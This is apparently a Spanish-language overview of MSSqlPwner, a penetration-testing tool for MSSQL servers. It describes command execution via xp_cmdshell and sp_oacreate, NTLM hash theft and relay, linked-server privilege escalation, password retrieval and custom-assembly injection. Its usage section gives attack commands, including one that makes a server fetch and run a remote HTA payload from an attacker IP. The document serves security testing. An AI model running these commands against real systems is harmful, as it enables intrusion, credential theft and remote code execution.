MSSqlPwner es una herramienta avanzada y versátil de pruebas de penetración diseñada para interactuar de manera fluida con servidores MSSQL y basada en Impacket. La herramienta MSSqlPwner capacita a los hackers éticos y profesionales de seguridad para llevar a cabo evaluaciones de seguridad exhaustivas en entornos MSSQL.
Con MSSqlPwner, los usuarios pueden ejecutar comandos personalizados a través de varios métodos, incluyendo ensamblado personalizado, xp_cmdshell
y sp_oacreate
(Procedimientos de Automatización Ole), y mucho más.
La herramienta comienza con una enumeración recursiva en servidores vinculados y recopila todas las cadenas posibles.
Además, la herramienta MSSqlPwner se puede utilizar para capacidades de retransmisión de NTLM, utilizando funciones como xp_dirtree
, xp_subdirs
, xp_fileexist
y ejecución de comandos.
Esta herramienta proporciona oportunidades para evaluaciones de movimiento lateral y exploración de servidores vinculados.
Si el usuario autenticado de MSSQL no tiene permiso para ejecutar ciertas operaciones, la herramienta puede encontrar una cadena que permita la ejecución. Por ejemplo, puede enviar una consulta a un servidor vinculado que devuelva un enlace al servicio de MSSQL autenticado con permisos más altos. La herramienta también admite consultas recursivas a través de enlaces para ejecutar consultas y comandos en servidores vinculados que, de lo contrario, serían inaccesibles desde el servicio de MSSQL comprometido.
Ejemplo
Esta herramienta es compatible con múltiples métodos de autenticación, que se describen a continuación.
Funcionalidades
Utilidades:
interactive
: permite utilizar la herramienta de forma interactiva con ejecución en vivo.enumerate
: enumera los servidores vinculados y las cadenas.get-chain-list
: obtiene la lista de las cadenas.get-link-server-list
: obtiene la lista de los servidores vinculados.set-chain
: Establece el ID de la cadena (solo para el modo interactivo).set-link-server
: Establece el servidor vinculado (solo para el modo interactivo).get-rev2self-queries
: obtiene consultas para revertir a SELF (solo para el modo interactivo).get-adsi-provider-list
: obtiene la lista de proveedores ADSI.rev2self
: revierte a SELF (solo para el modo interactivo).
Ejecución de comandos: Ejecuta comandos utilizando las siguientes funciones:
xp_cmdshell
: Ejecuta comandos utilizando xp_cmdshell en el servidor local o en servidores vinculados.sp_oacreate
: Ejecuta comandos utilizando la técnica Ole Automation Procedure en el servidor local o en servidores vinculados.
Recuperación de contraseñas:
retrive-password
: Recuperación de contraseñas desde el servidor vinculado.
Robo y retransmisión de hash NTLM: Realiza retransmisión NTLM o roba hash NTLM utilizando las siguientes funciones:
xp_dirtree
: Robo NTLM utilizando listado de directorios en el servidor local o en servidores vinculados.xp_subdirs
: Robo NTLM utilizando listado de subdirectorios en el servidor local o en servidores vinculados.xp_fileexist
: Robo NTLM utilizando verificación de existencia de archivos en el servidor local o en servidores vinculados.
Ejecución de procedimientos utilizando ensamblado personalizado y procedimientos almacenados:
execute_command
: Ejecución de comandos utilizando ensamblado personalizado en el servidor local o en servidores vinculados.run_query
: Ejecución de consultas utilizando ensamblado personalizado en el servidor local o en servidores vinculados.run_query_system_service
: Ejecución de consultas utilizando ensamblado personalizado en el servidor local o en servidores vinculados como usuario del sistema.inject-custom-asm
: Inyecta código utilizando ensamblado personalizado en el servidor local o en servidores vinculados (puedes modificar el siguiente ejemplo de DLL).
https://github.com/ScorpionesLabs/MSSqlPwner/blob/main/playbooks/custom-asm/Inject.cs
Consultas Directas:
direct_query
: Ejecuta consultas directas en el servidor local o en servidores vinculados.
Movimiento Lateral y Exploración de Cadenas
MSSqlPwner ofrece oportunidades para evaluaciones de movimiento lateral y exploración de servidores vinculados. En escenarios donde la sesión actual carece de privilegios administrativos, la herramienta intenta encontrar una cadena que eleve sus propios privilegios a través de servidores vinculados. Si una sesión en un servidor vinculado tiene privilegios más altos, la herramienta puede interactuar con el servidor vinculado y realizar una consulta vinculada de regreso al host con privilegios elevados, lo que permite el movimiento lateral en el servidor objetivo.
Métodos de Autenticación: Compatible con múltiples métodos de autenticación, que incluyen:
- Credenciales de Windows
- Credenciales de MSSQL
- Autenticación Kerberos
- Tickets de Kerberos
- Hashes NTLM
La herramienta se adapta a diversos escenarios y entornos, verificando la efectividad de los mecanismos de autenticación.
Lleva tus evaluaciones de entorno MSSQL al siguiente nivel con el poder y la versatilidad de MSSqlPwner. Descubre nuevas posibilidades para el movimiento lateral, consultas sigilosas y evaluaciones de seguridad precisas con esta herramienta MSSqlPwner.
Instalación
Ejecuta los siguientes comandos:
git clone https://github.com/ScorpionesLabs/MSSqlPwner
cd MSSqlPwner
pip3 install -r requirements.txt
python3 MSSqlPwner.py
Uso
# Modo interactivo
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive
# Ejecutar ensamblado personalizado en el servidor actual con autenticación de Windows y ejecutar el comando "hostname"
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Ejecutar ensamblado personalizado en el servidor actual con autenticación de Windows y ejecutar el comando "hostname" en el servidor vinculado SRV01
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Ejecutar el comando "hostname" utilizando procedimientos almacenados en el servidor vinculado SRV01
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Ejecutar el comando "hostname" utilizando procedimientos almacenados en el servidor vinculado SRV01 con el método sp_oacreate
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Realizar un ataque de retransmisión NTLM en el servidor SRV01
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Realizar un ataque de retransmisión NTLM en la cadena con ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Realizar un ataque de retransmisión NTLM en el servidor local con un comando personalizado
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
# Ejecutar una consulta directa
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct_query "SELECT CURRENT_USER"
# Recuperar la contraseña del servidor vinculado DC01
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
# Ejecutar código utilizando ensamblado personalizado en el servidor vinculado DC01
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
https://github.com/ScorpionesLabs/MSSqlPwner